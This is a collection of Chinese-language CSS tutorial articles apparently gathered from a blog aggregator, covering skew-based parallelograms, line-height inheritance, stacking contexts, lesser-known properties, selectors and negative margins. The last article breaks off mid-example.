看到之后觉得好神奇啊，原来还可以只有平行四边形的外轮廓。（因为方法一只能创造填充效果的平行四边形）实现起来非常简单，主要是借助了transform: skew(...)，下面就来看看源码吧。

<style>
.city {
  display: inline-block;
  padding: 5px 20px;
  border: 1px solid #44a5fc;
  color: #333;
  transform: skew(-20deg);
}
</style>

<div class="city">上海</div>

于是我们得到了这样的效果：



看到图片的你一定是这样想的：



别着急嘛，我们的确是把整个 div 进行了歪曲，导致中间的文字也是倾斜的，而这显然不是我们所要的效果。所以我们需要加一个内层元素，并对内层元素做一次逆向的歪曲，从而得到我们想要的效果：



实现代码如下，另附 CodePen 示例

<style>
.city {
  display: inline-block;
  padding: 5px 20px;
  border: 1px solid #44a5fc;
  color: #333;
  transform: skew(-20deg);
}

.city div {
  transform: skew(20deg);
}
</style>

<div class="city">
  <div>上海</div>
</div>

总结

第一种方法使用 border 属性 hack 出三角形，并通过对三个元素进行拼接最终实现了平行四边形；而第二种方法则通过 transform: skew 来得到平行四边形。总体来说，第二种方法相对于第一种代码量小得多，而且也很好理解。唯一的不足是无法构造像本站的分页中所使用的梯形。希望本文对各位有所帮助。

UPDATE

	**2015.8.18**, @前端农民工 给出了一个 CSS-Tricks 的链接，是关于各种用 CSS 绘制几何图形的方法，浅显易懂，推荐大家看看！





 [学习笔记]  css中的line-height

作者：飞翔的笨鸟

来源： [学习笔记]  css中的line-height



                    
又已经快十天没有写文章了，一周一篇其实好艰难的说……本来想接着上篇事件（上篇）总结事件类型的，可是看完之后整理下还是有点乱，就一直拖着没写……实在是不能再拖下去了，今天就简单说说CSS中我们常用但又不一定真正了解的line-height属性。


基本概念


行高、行距


行高是指文本行基线间的垂直距离。那什么是基线呢？记不记得vertical-align属性有个baseline值，这个baseline就是基线。看张“盗图”（选自下面的参考文章），其实我也修改了一下啦~


注意：倒数第二根是基线哦，最下面那根是底线，不是基线。


图中两条红线之间的距离就是行高（line-height），上一行的底线和下一行的顶线之间的距离就是行距，而同一行顶线和底线之间的距离是font-size的大小，行距的一半是半行距，半行距、font-size、line-height之间的关系看图片的右下角就一目了然了~


半行距 = （line-height - font-size）/2



当然，半行距也可能为负值（当line-height < font-size），这时候两行之间就会重叠，如下图所示：



4种box


要说的4种盒子分别是inline box、line box、content area、containing box ~



	inline box (行内框)
每个行内元素会生成一个行内框，行内框是一个浏览器渲染模型中的一个概念，无法显示出来，行内框的高度等于font-size，设定line-height时，行内框的高度不变，改变的是行距。


	line box （行框）
行框是指本行的一个虚拟的矩形框，由该行中行内框组成。行框也是浏览器渲染模式中的一个概念，无法显示出来。行框高度等于本行中所有行内框高度的最大值。当有多行内容时，每一行都有自己的行框。


	content area （内容区）
内容区是围绕着文字的一种box，无法显示出来，其高度取决于font-size和padding。个人觉得：内容区的高度 = font-size + padding-top + padding-bottom，有待查证，也期待小伙伴们给出答案~


	containing box 
containing box 是包裹着上述三种box的box，有点绕哈~看图







原谅我画图水平有限，不过仔细辨认还是能看出来的~  ^_^


取值


一般情况下，浏览器默认的line-height为1.2。可以自定义 line-height 覆盖这个初始值，那么该怎样设置line-height呢？有以下5种方式：




	值
  	描述





	normal
  	默认。设置合理的行间距。



	number
  	设置数字，此数字会与当前的字体尺寸相乘来设置行间距，即number为当前font-size的倍数。



	length
  	设置固定的行间距。



	%
  	基于当前字体尺寸的百分比行间距。



	inherit
  	规定应该从父元素继承 line-height 属性的值。





看起来如此简单~但是，line-height是个可继承属性，它的继承规则有那么一点点复杂……


继承


需要提前说明的是：line-height的大小与font-size息息相关，除了指定line-height为多少px，剩下的设置方式都是基于font-size算出来的。
下面逐个讲一讲~



	inherit
这个其实没什么说的，继承父元素line-height的值，所以父元素的是多少就是多少。
如果其后代元素不设置line-height 的话，也会是这个值。


	length
假设设置 line-height 为20px，那么该行的该行的行高就是20px，与 font-size 无关，不会随着 font-size 做相应比例的缩放。
这个长度值（20px）会被后代元素继承，所有的后代元素会使用这个相同的、继承的 line-height (20px)，除非后代元素设定 line-height 。


	百分比
假设自身的 font-size 为16px，line-height 设为120%。那么其行高为：16 * 120% = 19.2px。即 line-height 是根据自身的 font-size 计算出来的。
子元素会继承父元素的line-height，那么它继承的是什么呢，百分比（120%）？还是19.2px？
答案是后者，19.2px，即父元素line-height计算后的最终值。


	
normal
line-height 设置为 normal 的时候，行高取决于浏览器的解析，一般是1.2。
与前面不同的是，line-height 设置为 normal 的元素，其子元素不再继承其line-height计算后的最终值，而是根据子元素自身的 font-size 进行计算。见下表~




	element
  	font-size
  	line-height
  	计算后的lline-height





	body
  	16px
  	normal
  	16px * 1.2 = 19.2px



	h1
  	32px
  	normal
  	32px * 1.2 = 38.4px





可见，子元素随着自身 font-size 的大小而做相应比例的缩放。



	
纯数字
如果既想要 normal 的灵活，又想设置一个自定义的值，那就要用 纯数字 啦~
纯数字方式与 normal 唯一的不同，就是数值的大小，纯数字可以自己随意设定，而 normal 的值是浏览器决定的。




	element
  	font-size
  	line-height
  	计算后的lline-height





	body
  	16px
  	1.5
  	16px * 1.5 = 24px



	h1
  	32px
  	1.5
  	32px * 1.5 = 48px





其后代元素会继承这个数值（比如 1.5），然后根据自身的 font-size 算出自身的line-height。





总结如下：




	设置方式
  	line-height
  	计算后的line-height
  	子元素继承的line-height





	inherit
  	父元素的line-height值
  	不用计算
  	父元素的line-height值



	length
  	20px
  	不用计算
  	20px



	%
  	120%
  	自身font-size (16px) * 120% = 19.2px
  	继承父元素计算后的line-height值 19.2px，而不是120%



	normal
  	1.2
  	自身font-size (16px) * 1.2 = 19.2px
  	继承1.2，line-height = 自身font-size(32px) * 1.2 = 38.4px



	纯数字
  	1.5
  	自身font-size (16px) * 1.2 = 19.2px
  	继承1.5，line-height = 自身font-size(32px) * 1.5 = 48px





那么，哪一种是最好的方式呢？
一般来数，设置行高的值为 纯数字 是最推荐的方式，因为其会随着对应的 font-size 而缩放。




这是对line-height的一点总结，欢迎小伙伴们拍砖哈~


参考


MDN line-height


深入了解css的行高Line Height属性


CSS行高——line-height


 CSS > CSS3 中的层叠上下文初探

作者：HaoyCn

来源： CSS > CSS3 中的层叠上下文初探



                    
前言：关于层叠上下文，笔者还没有去阅读更详细的 W3C 规范来了解更本质的原理（表打我，等我校招拿到 offer 了我就读好伐 T_T）。一直听说 CSS3 里的层叠上下文有新情况，但没找到很好的参考资料，故自己实战一把。鉴于笔者水平有限，如有任何遗漏或者错误，则恳请读者斧正。



1 CSS2.1 中规定的层叠上下文




Background and borders — of the element forming the stacking context. The lowest level in the stack.

Negative Z-Index — the stacking contexts of descendants elements with negative z-index.

Block Level Boxes — in-flow non-inline-level non-positioned descendants.

Floated Boxes — non-positioned floats

Inline Boxes — in-flow inline-level non-positioned descendants.

Z-index: 0 — positioned elements. These form new stacking contexts.

Positive Z-index — positioned elements. The highest level in the stack.



图文来源：http://webdesign.tutsplus.com/articles/what-you-may-not-know-about-the-z-index-property--webdesign-16892



现在该笔者上场翻译了！在解释上面术语之前，需要阐明两个术语：“定位”指的是 position 为 relative 、absolute 、fixed 的元素，“非定位”则相反。


	背景和边框：建立层叠上下文元素的背景和边框。层叠中的最低级


	负 Z-index：z-index 为负的后代元素建立的层叠上下文


	块级盒：文档流内非行内级非定位后代元素


	浮动盒：非定位浮动元素（笔者注：即排除了 position: relative 的浮动盒）


	行内盒：文档流内行内级非定位后代元素


	Z-index: 0：定位元素。这些元素建立了新层叠上下文（笔者注：不一定，详见后文）


	正 Z-index：（z-index 为正的）定位元素。层叠的最高等级




引文如上所表。但笔者提醒各位读者一点，“Z-index: 0”级的定位元素不一定就会建立新的层叠上下文。因为：

CSS2.1：（z-index: auto）The stack level of the generated box in the current stacking context is 0. The box does not establish a new stacking context unless it is the root element.



当定位元素 z-index: auto，生成盒在当前层叠上下文中的层级为 0。但该盒不建立新的层叠上下文，除非是根元素。

规范是这样，但 IE6-7 有个 BUG，定位元素即便 z-index: auto 照样创建层叠上下文。

以上是基于 CSS2.1 的层叠上下文介绍。下面要阐述的是在 CSS3 新环境下，层叠上下文的新变化。

2 CSS3 带来的变化

总的来说变化可以归为两点，我们之后一一探讨：


	CSS3 中许多属性会创建局部层叠上下文


	tranform 属性改变绝对定位子元素的包含块




2.1 产生新层叠上下文的情况

以下情况会产生新的层叠上下文：


	根元素（HTML）


	绝对或相对定位且 z-index 值不为 auto


	一个伸缩项目 Flex Item，且 z-index 值不为 auto，即父元素 display: flex|inline-flex


	元素的 opacity 属性值小于 1


	元素的 transform 属性值不为 none


	元素的 mix-blend-mode 属性值不为 normal


	元素的 filter 属性值不为 normal


	元素的 isolation 属性值为 isolate


	position: fixed


	will-change 中指定了上述任意属性，即便你没有直接定义这些属性


	元素的 -webkit-overflow-scrolling 属性值为 touch




以上列表译自：



https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context，提醒广大读者，别看中文版，因为中文版并非实时跟进更新的，且翻译不太准确

2.2 提升层叠上下文中的层级

以上元素建立新层叠上下文的同时，也会提升元素自身所在层叠上下文中的层级。

我们以 opacity 为例。来看下 CSS3 规范中的话：

If an element with opacity less than 1 is not positioned, implementations must paint the layer it creates, within its parent stacking context, at the same stacking order that would be used if it were a positioned element with ‘z-index: 0’ and ‘opacity: 1’. If an element with opacity less than 1 is positioned, the ‘z-index’ property applies as described in [CSS21], except that ‘auto’ is treated as ‘0’ since a new stacking context is always created.



如果元素 opacity 小于 1 且未定位，则必须在其父层叠上下文中，按其在定位了的、z-index: 0 且 opacity: 1 的情况中的层叠顺序绘制。如果 opacity 小于 1 且已定位，z-index 属性按 CSS2.1 应用，但 auto 要视为 0，因为新的层叠上下文总是创建了的。

如下案例：

div {
    width: 100px;
    height: 100px;
}
#box1 {
    position: absolute;
    background: red;
    top: 40px;
    left: 40px;
}
#box2 {
    background: blue;
}

<body>
    <div id="box1"></div>
    <div id="box2"></div>
<body>


以上 CSS 和 HTML 片段中，由于 box1 是绝对定位（层级为“Z-index: 0”级），而 box2 是文档流内块级盒（层级为“块级盒”级），因此 box1 会层叠在 box2 之上。下面添加如下 CSS 规则：

#box2 {
    opacity: .5;
}


这时候， box2 则会层叠在 box1 之上了。因为 box2 的 opacity 为 0.5（小于 1），故视其为“Z-index: 0”级，也就和 box1 同级了。同级情况下，按照二者在源代码中的顺序，居后的 box2 又重新占领高地了。

读者可以取下面规则之任意一条实验，都能达到同样效果：

#box2 {
    transform: scale(1);
    mix-blend-mode: difference;
    isolation: isolate;
    -webkit-filter: blur(5px);
}


2.3 transform 改变绝对定位子元素包含块

transform 除了建立新的局部层叠上下文外，还会干一件事：改变绝对定位子元素的包含块。须注意的是，固定定位也是绝对定位的一种。

什么是包含块？有时候一些盒子根据矩形盒计算自身定位和大小，此矩形盒即包含块。更多详情请阅读视觉格式化模型详述。

固定定位元素

固定定位元素的包含块由视口创建（如果读者了解视觉格式化模型详述的信息，也就知道这一点：在计算其“静态位置”的时候，则以初始化包含块作为其计算包含块）。现在我们看以下源代码：

div {
    width: 100px;
    height: 100px;
}
#fixed {
    position: fixed;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background: blue;
}
#transform {
    background: red;
    padding: 20px;
}

<body>
    <div id="transform">
        <div id="fixed"></div>
    </div>
</body>


这个时候，以视口为包含块进行定位和大小计算， fixed 将会铺满整个屏幕。

但现在，我们加上如下规则：

#transform {
    transform: scale(1);
}


此时，fixed 的包含块不再是视口，而是 transform 的内边距盒的边缘盒了。故此时 fixed 的宽高均为 140px。

绝对定位元素

我们举一个例子：

#relative {
    position: relative;
    width: 100px;
    height: 100px;
    background: green;
}
#absolute {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background: blue;
}
#transform {
    background: red;
    width: 50px;
    height: 50px;
}

<div id="relative">
    <div id="transform">
        <div id="absolute"></div>
    </div>
</div>


此时 absolute 的包含块为 relative 的内边距盒的边缘盒。由此 absolute 的宽高均为 100px。然后我们添加如下规则：

#transform {
    transform: scale(1);
}


由于 transform 创建了局部层叠上下文，absolute 的包含块不再是 relative 而是 transform 了，根据这一新的包含块，得新宽和高为 50px。


 CSS黑科技补充篇

作者：JellyBool

来源： CSS黑科技补充篇



                    

  原文来自：https://jellybool.com/post/css-that-you-may-not-know-part-2




继上一次写的CSS黑科技之后，这次貌似还专门去找了一些CSS中可能还是比较不太会引起开发者注意的属性。


empty-cells


其实在table中，你可以使用empty-cells这个属性来指定相应的样式，比如：


table {
  empty-cells: hide;
}




上面这一行声明就可以将table元素中的空单元格隐藏起来。


border-image


其实这个在开发中可能会比较少见到，如果不是我特意去看文档，真心不会发现还有这个border-image，没错，就如名字的意思一样，你可以给border指定image：


.border-image-example {  
    -webkit-border-image: url(border-image.jpg) 45 20 45 30 repeat;  
    -moz-border-image: url(border-image.jpg) 45 20 45 30 repeat;  
    border-image: url(border-image.jpg) 45 20 45 30 repeat;
}




text-decoration


在习惯了对text-decoration赋值为none之后，我们需要重新来认识一下这一位小伙伴了，它其实是可以接受三个变量声明：


a {
  text-decoration: overline aqua wavy;
}




这三个分别是代表：text-decoration-line， text-decoration-color 和 text-decoration-style


clip


可能很多人在刚开始使用clip的时候都是这样写的：


.example {
    clip: rect(110px, 160px, 170px, 60px);
}




然后很惊讶地发现竟然没有起作用，为什么呢？所以在这里需要注意的地方是clip是只在position为absolute或position为fixed时候起作用的。


::first-letter


这个感觉比较神奇，虽然对于我们常用CSS修饰中文文本可能没有很大的用处，不过我看到这个时候其实还是觉得比较意外的，竟然还有这个东西：




<div class='text'>
    I am sample text
</div>






然后CSS可以这样写：


.text::first-letter {
  color: blue;
  background: yellow;
}




第一个字母I就会被修饰到，很神奇。暂时就补充这么多....


Happy Hacking


 CSS 选择器

作者：Chinaxiang

来源： CSS 选择器



                    
概览

在 CSS 中，选择器用于选择需要添加样式的元素。

CSS 选择器非常丰富，现将 CSS 1 - 3 目前所有的选择器列举如下。



	选择器
	例子
	例子描述
	CSS版本



	.class
	.intro
	选择 class="intro" 的所有元素。
	1



	#id
	#firstname
	选择 id="firstname" 的元素。
	1



	*
	*
	选择所有元素。
	2



	element
	p
	选择所有 <p> 元素。
	1



	selector,selector
	div,p
	选择所有 <div> 元素和所有 <p> 元素。
	1



	selector selector
	div p
	选择 <div> 元素内部的所有 <p> 元素。
	1



	selector>selector
	div>p
	选择父元素为 <div> 元素的所有 <p> 元素。
	2



	selector+selector
	div+p
	选择紧接在 <div> 元素之后的所有 <p> 元素。
	2



	[attribute]
	[target]
	选择带有 target 属性所有元素。
	2



	[attribute=value]
	[target=_blank]
	选择 target="_blank" 的所有元素。
	2



	[attribute~=value]
	[title~=flower]
	选择 title 属性包含单词 "flower" 的所有元素。
	2



	[attribute|=value]
	[lang|=en]
	选择 lang 属性值以 "en" 开头的所有元素。
	2



	:link
	a:link
	选择所有未被访问的链接。
	1



	:visited
	a:visited
	选择所有已被访问的链接。
	1



	:active
	a:active
	选择活动链接。
	1



	:hover
	a:hover
	选择鼠标指针位于其上的链接。
	1



	:focus
	input:focus
	选择获得焦点的 input 元素。
	2



	:first-letter
	p:first-letter
	选择每个 <p> 元素的首字母。
	1



	:first-line
	p:first-line
	选择每个 <p> 元素的首行。
	1



	:first-child
	p:first-child
	选择属于父元素的第一个子元素的每个 <p> 元素。
	2



	:before
	p:before
	在每个 <p> 元素的内容之前插入内容。
	2



	:after
	p:after
	在每个 <p> 元素的内容之后插入内容。
	2



	:lang(language)
	p:lang(it)
	选择带有以 "it" 开头的 lang 属性值的每个 <p> 元素。
	2



	selector~selector
	p~ul
	选择前面有 <p> 元素的每个 <ul> 元素。
	3



	[attribute^=value]
	a[src^="https"]
	选择其 src 属性值以 "https" 开头的每个 <a> 元素。
	3



	[attribute$=value]
	a[src$=".pdf"]
	选择其 src 属性以 ".pdf" 结尾的所有 <a> 元素。
	3



	[attribute*=value]
	a[src*="abc"]
	选择其 src 属性中包含 "abc" 子串的每个 <a> 元素。
	3



	:first-of-type
	p:first-of-type
	选择属于其父元素的首个 <p> 元素。
	3



	:last-of-type
	p:last-of-type
	选择属于其父元素的最后 <p> 元素。
	3



	:only-of-type
	p:only-of-type
	选择属于其父元素只有唯一的 <p> 元素。
	3



	:only-child
	p:only-child
	选择属于其父元素只有唯一的子元素 <p>.
	3



	:nth-child(n)
	p:nth-child(2)
	选择属于其父元素的第二个子元素 <p>.
	3



	:nth-last-child(n)
	p:nth-last-child(2)
	同上，从最后一个子元素开始计数。
	3



	:nth-of-type(n)
	p:nth-of-type(2)
	选择属于其父元素第二个 <p> 元素。
	3



	:nth-last-of-type(n)
	p:nth-last-of-type(2)
	同上，但是从最后一个子元素开始计数。
	3



	:last-child
	p:last-child
	选择属于其父元素最后一个子元素 <p>.
	3



	:root
	:root
	选择文档的根元素。
	3



	:empty
	p:empty
	选择没有子元素的每个 <p> 元素（包括文本节点）。
	3



	:target
	#news:target
	选择当前活动的 #news 元素。
	3



	:enabled
	input:enabled
	选择每个启用的 <input> 元素。
	3



	:disabled
	input:disabled
	选择每个禁用的 <input> 元素
	3



	:checked
	input:checked
	选择每个被选中的 <input> 元素。
	3



	:not(selector)
	:not(p)
	选择非 <p> 元素的每个元素。
	3



	::selection
	::selection
	选择被用户选取的元素部分。
	3



	:out-of-range
	input:out-of-range
	匹配值在指定区间之外的 <input> 元素。
	3



	:in-range
	input:in-range
	匹配值在指定区间之内的 <input> 元素。
	3



	:read-write
	input:read-write
	匹配可读可写的 <input> 元素。
	3



	:optional
	input:optional
	匹配可选输入的 <input> 元素。
	3



	:required
	input:required
	匹配必须输入的 <input> 元素。
	3



	:valid
	input:valid
	匹配输入有效的 <input> 元素。
	3



	:invalid
	input:invalid
	匹配输入无效的 <input> 元素。
	3





CSS 选择器这么多，都需要掌握吗？多吗，分组去记忆还是很好掌握的，掌握的越多你就越能随心所欲的操纵HTML文档。

上面的选择器只是基础，掌握了上面的内容，只能说明你识字了，至于能不能组成句子，甚至优美的句子还有很大的距离。

记住并使用选择器

如何记住这么多选择器呢？我个人记忆方式是，一是分组，二是使用，在此分享给大家。

基础选择器

类选择器.class，ID选择器#id，通配符选择器*，元素选择器element是四个最基本的选择器，相信你早就记住了。

* {
    color: black;
}
a {
    color: blue;
}
.msg {
    color: red;
}
#top {
    background-color: #ff0000;
}

选择器组合

通过使用特定的符号来连接选择器可以实现更加丰富的选择功能。

selector, selector

逗号连接两个或多个选择器实现多选的功能。

h1, h2, .title {
    color: black;
}

h1, h2 标签和 class="title" 的元素的字体颜色都设置为黑色。

selector selector

空格直接相连的两个或多个选择器可以实现精确定位的功能。

#header h3 {
    color: #fff;
}

ID为header的元素下面的h3元素字体颜色设置为白色。

selector > selector

大于号连接的两个选择器实现父子选择的功能。

HTML文档片段

<div class="info">
    <p>hello,job1...</p>
    <p>hello,job2...</p>
    <div>
        <p>hi,job3...</p>
    </div>
</div>
<p>hi,job4...</p>

CSS样式

.info > p {
    background-color: yellow;
}

.info下的所有直接子元素 p(带有hello的段落)背景被设置为黄色，其余的(带有hi的段落，不是子元素或不是直接子元素)不受影响。



selector + selector

加号相连的两个选择器实现同级紧邻的元素选择的功能。

HTML部分文档

<h1>欢迎来到我到的主页</h1>

<div>
<p>我是唐老鸭。</p>
</div>

<p>我最好的朋友是米老鼠。</p>

<p>我的样式会改变。</p>

CSS样式

div + p + p {
    background-color: yellow;
}

div 紧挨的第一个同级元素 p 是“我最好的朋友是米老鼠。”，然后又一个 + 连着 p 最终选中最后一个 p.



selector ~ selector

波浪线连接的两个选择器实现同级并在其下面所有选择器指定元素的选择功能（好绕，看例子吧）。

HTML文档

<div>A div element.</div>
<ul>
  <li>Coffee</li>
  <li>Tea</li>
  <li>Milk</li>
</ul>

<p>The first paragraph.</p>
<ul>
  <li>Coffee</li>
  <li>Tea</li>
  <li>Milk</li>
</ul>

<h2>Another list</h2>
<ul>
  <li>Coffee</li>
  <li>Tea</li>
  <li>Milk</li>
</ul>

CSS样式

p ~ ul{
    background:#ff0000;
}



p 元素同级的 ul 并且 ul 元素是在 p 的下面。

注意：这个是CSS3新增的选择器。

选择器结合

结合的意思嘛，就是连着写在一起呗。

div#user {
    color: black;
}

<div id="user">我是黑色字体</div>

常用的就是 element#id,element.class.

也有一种多类选择器，也算选择器结合

HTML文档

<p class="important">This paragraph is very important.</p>
<p class="warning">This is a warning.</p>
<p class="important warning">This paragraph is a very important warning.</p>

CSS样式

.important {font-weight: bold;}
.warning {font-style: italic;}
.important.warning {background: silver;}

注意：在 IE7 之前的版本中，不能正确地处理多类选择器。

属性选择器

HTML标签可以定义若干属性，我们可以通过属性选择器进行元素的选取。

注意区分CSS3新增的属性选择器。

[attribute]

选取包含某属性的元素。

a[href]

选取包含href属性的a标签。

[attribute=value]

选择某个属性attribute并且属性值为value的元素。

.info[ref='good']

[attribute~=value]

选择某个属性attribute并且属性值中有value这个单词的元素。

这里是指单词，属性值如果是 boy man 则有两个单词。

p[class~='man']

[attribute|=value]

属性起始值为value的元素。

p[class|='cls']

以上是CSS2开始提供的属性选择器，下面的将是CSS3提供的选择器，注意区别使用。

[attribute^=value]

属性值以value开始的元素。

[attribute$=value]

属性值以value结尾的元素。

[attribute*=value]

属性值包含value的元素，不一定是单词哟。

伪类选择器

所谓的伪类，你可以简单的理解为带 : 的选择器。伪类很好理解，一般从名称上就可以知道其作用了。

可以从以下几个方面去记。下面的归类只用来方便记忆，这些选择器并不局限于我所列举的场景。

跟 a 紧密关联的

a:link

所有未被访问的链接。

a:hover

鼠标移动到链接上面。

a:active

鼠标点按在链接上不松开。

a:visited

链接已经点击过。

注意:  为了产生预期的效果，在CSS定义中，尽量采用上面四个的顺序去定义。

:target

是CSS3中新增的选择器，用于标示当前处于活动的锚标记。

HTML文档

<h1>This is a heading</h1>

<p><a href="#news1">Jump to New content 1</a></p>
<p><a href="#news2">Jump to New content 2</a></p>

<p>Click on the links above and the :target selector highlight the current active HTML anchor.</p>

<p id="news1"><b>New content 1...</b></p>
<p id="news2"><b>New content 2...</b></p>

CSS样式

:target {
    border: 2px solid #D4D4D4;
    background-color: #e5eecc;
}

当点击锚定位a标签时，相应的锚元素会设置为指定样式。



跟 input 紧密关联的

:focus

选择具有焦点的元素，一般都是输入元素。

除了 :focus 是CSS2开始有的，下面的都是CSS3新增的伪类。

:enabled

可用的输入元素。

:disabled

不可用的输入元素。

input[type="text"]:disabled {
    background:#dddddd;
}

<input type="text" disabled="disabled" value="Disneyland" />

:valid

匹配输入合法的元素，例如：email,number等等。

:invalid

不合法的。

input:invalid {
    border:2px solid red;
}

<input type="email" value="supportEmail" />

:optional

匹配可选输入元素。

:required

匹配设置了“required”的元素。

input:required {
    background-color: yellow;
}

<input type="text" required />

:read-write

匹配可读可写的元素。

:read-only

匹配设置了“readonly”的元素。

input:read-only {
    background-color: yellow;
}

<input type="text" readonly value="hello" />

readonly 和 disabled 可以实现同样的功能，禁止用户输入和更改。

:out-of-range

匹配设置范围且值范围超出范围的元素。

input:out-of-range {
    border:2px solid red;
}

<input type="number" min="5" max="10" value="17" />

:in-range

匹配在设置值范围内的元素。

:checked

匹配被选中的元素。

父子及排序关系相关

先说一下常用于 p 的：

:first-letter

第一个字母，一般用于实现首字母大写。

:first-line

选取第一行。

比较通用的

:before

在元素之前插入内容。

:after

在元素之后插入内容。

示例

p:before {
    content:"Read this -";
}

之前之后是指元素内部的前面和后面。

<p>
::before
xxxx
::after
</p>

上面几个是CSS1或2开始支持的，下面的除了:first-child 是CSS2开始的，其余的都是CSS3伪类。

:root

选择文档的根元素，基本就是 <html> 标签。

:empty

没有任何子级（包括文本内容）的元素。

父子关系伪类有两种，一种是*-type 的，作用于父元素，另一种是*-child的，作用于子元素，还是看例子好理解。

:first-of-type

选取一个元素的父元素的第一个这个元素。

HTML文档

<h1>This is a heading</h1>
<p>The first paragraph.</p>
<p>The second paragraph.</p>
<p>The third paragraph.</p>
<p>The fourth paragraph.</p>

CSS样式

p:first-of-type {
    background:#ff0000;
}

第一个 p 标签将被设置背景色。p 的父元素是body,body的第一个p元素被选中。

:last-of-type

这个元素的父元素的最后一个这个元素被选中。

:only-of-type

这个元素的父元素只有一个这个元素，可以有其他元素不影响，唯一的这个元素被选中。

:nth-of-type(n)

这个元素的父元素的第n个元素被选中。

n 可以是一个数字，一个关键字，或者一个公式。


	数字：从1开始，代表第一个元素


	关键字：奇数 odd 偶数 even


	表达式：公式（an+b） a 代表一个循环的大小，n是计数器（从0开始），b是偏移量。




示例

tr:nth-of-type(2n+1) {
    background:#ff0000;
}

奇数行（1,3,5,7...）设置背景。

:nth-last-of-type(n)

从后往前计算。

说完 type 该说 child 了。

:first-child

这个是CSS2开始有的伪类选择器，选取这个元素的第一个子元素。

示例

ul:first-child {
    color: blue;
}

让ul的第一个li的字体为蓝色。

:last-child

最后一个子元素。

:nth-child(n)

第几个子元素，n配置同上。

:nth-last-child(n)

从后开始找子元素。

还剩下几个，单独列出来吧。

其他

:lang(language)

选取lang属性的起始值为language的元素。

:not(selector)

选择器的取反，这个很好理解。

示例

:not(a) {
    color: black;
}

所有的非a标签。

::selection

匹配元素中被用户选中或处于高亮状态的部分。

示例

::selection {
    color:#ff0000;
    background-color:blue;
}

鼠标拉选中的部分字体设置为红色，背景设置为蓝色。

后续会再跟进和补充一些东西，先发这些吧。
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原文 The Definitive Guide to Using Negative Margins



自从1998年CSS2作为推荐以来，表格的使用渐渐退去，成为历史。正因为此，从那以后CSS布局成为了优雅代码的代名词。

对于所有设计师使用过的CSS概念，负边距作为最少讨论到的定位方式要记上一功。这就像是在线纹身-每个人都会做，但是没有人会谈论它。（It’s like an online taboo—everyone’s doing it, yet no one wants to talk about it.）

为其正名

我们都使用过CSS得外边距，但是当谈到负边距的时候，我们好像往差的方向发展啦。在网页设计中负边距的使用出现了两种极端，一种特别喜欢它，也有一些人认为这完全就是魔鬼的作品。

负边距的使用如下：

#content {margin-left:-100px; }


负边距通常在小范围使用。但是接下来你会看到，它能做的事情很多。下面是一些你应该知道的关于负边距的事情：


	他们是完全有效的CSS
  这不是在跟你开玩笑。W3C甚至都说，在外边框中使用负边距是允许的。要了解更多可以点击这篇文章


	负边距不是在hack
  这是尤其正确的。正是因为没有很好地了解负边距才是导致各种奇怪的问题。只有在被用来解决其他地方的bug的时候才是hack


	它符合正常的文档流
  当负边距使用在没有浮动的元素上时并不会破坏正常的文档流。所以付过你使用负边距把元素向上微调的话，所有后面的元素也会向上微调。


	它是相当好的兼容性
  负边距基本上被所有现代的浏览器支持（IE6的大部分情况也是）


	当使用了float之后，会有不同的表现
  负边距不是你平常使用的属性，所以使用的时候要格外小心。


	Dreamweaver不理解它
  负边距不会在DW的设计窗口展示出效果。那你为什么还用DW的设计窗口查看效果呢？




与其共事

负边距如果可以正确的使用的话它的功能是很强大的。有两种场景负边距是很重要的。

在static元素中使用负边距



一个static元素是一个没有使用过float的元素。上面的图片展示了一个static的元素使用负边距之后的情况。


	
当一个static元素在top/left使用负边距时，它把元素向这个特定的方向拉，比如

    /* Moves the element 10px upwards */
    #mydiv1 {margin-top:-10px;}




	
但是当你将负边距设置为相对bottom/right时，它并不会把元素向下或右拉，相反，它会把后面的元素往里面拉，从而覆盖自己。

    /*
     所有在#mydiv1后面的元素都会向上
     移动10px，而#mydiv1一点都不会移动
    */
    #mydiv1{margin-bottom:-10px;}




	如果宽度没有设置，左右负边距会把元素向两个方向拉以增加宽度。在这里margin的作用相当于padding




在浮动中使用负边距

加入下面就是我们的html代码：

<div id="mydiv1">First</div>
<div id="mydiv2">Second</div>



	
如果对一个浮动的元素使用负边距，它会产生一个空白，其他元素就可以覆盖这一部分。这个技巧可以很好地用户流式布局。比如有一列宽度100%，另一列有固定的宽度，比如说100px。

    /* 
    A negative margin is applied opposite the float 
    */
    #mydiv1 {float:left; margin-right:-100px;}



	如果两个元素都使用了左浮动并且设置margin-right:-20px。#mydiv2会把#mydiv1看成宽度缩小20px（所以会覆盖一部分），但是有趣的是#mydiv1并不会有任何变化，而是依然保持原先的宽度。


	如果负边距和宽度一样大的话，它就会被完全覆盖掉。因为外边距，内边距，边框和内容加起来等于元素的宽度。如果负外边距等于元素的宽度的话，那么该元素的宽度就会变成0px。




学以致用

既然我们知道使用负边距在CSS2中是有效的，使用它可以给我们提供一些非常有趣的CSS技巧。

把单个列表变成三列



如果你有一个列表垂直方向太长了，为什么不把它分成几列呢？负边距可以让你在不增加任何浮动和标签的情况下完成。你会发现用负边距实现这个是多么地简单，就像下面：

HTML


<ul> 
    <li class="col1">Eggs</li>
    <li class="col1">Ham<li> 
    <li class="col2 top">Bread<li> 
    <li class="col2">Butter<li> 
    <li class="col3 top">Flour<li> 
    <li class="col3">Cream</li> 
</ul>


CSS

ul {list-style:none;}
li {line-height:1.3em;}
.col2 {margin-left:100px;}
.col3 {margin-left:200px;}
.top {margin-top:-2.6em;} /* the clincher */


通过对.top的添加margin-top:-2.6em。所有的元素会完美的对齐好。使用负边距会比使用相对定位好很多，因为你只需要给新的一列的第一个元素添加负边距即可。酷吧，哈哈哈

重叠来强调



故意重叠元素也是一种很好地设计隐喻。重叠效果可以增强深度感从而为突出特定元素。一个很好地例子就像上图一样，通过重叠来吸引注意力。只需要使用z-index属性和一点小创意你就可以做到。

惊艳的3D文本效果



这是一个精致的技巧。通过使用两个视图的两种颜色创建safari一样有点倾斜的效果。然后通过负边距来把其中一个叠加到另一个上面，保持1到2像素的偏移。这样你就可以二道可选的，机器友好的倾斜字体。就不需要浪费很多贷款来加载大的图片来实现这个效果啦

简单的两列布局

负边距也是在流式布局中创建简单一列宽度固定，一列内容为宽度的100%的两列布局的好方法。

HTML


<div id="content"> <p>Main content in here</p> </div> 
<div id="sidebar"> <p>I’m the Sidebar! </p> </div>


CSS

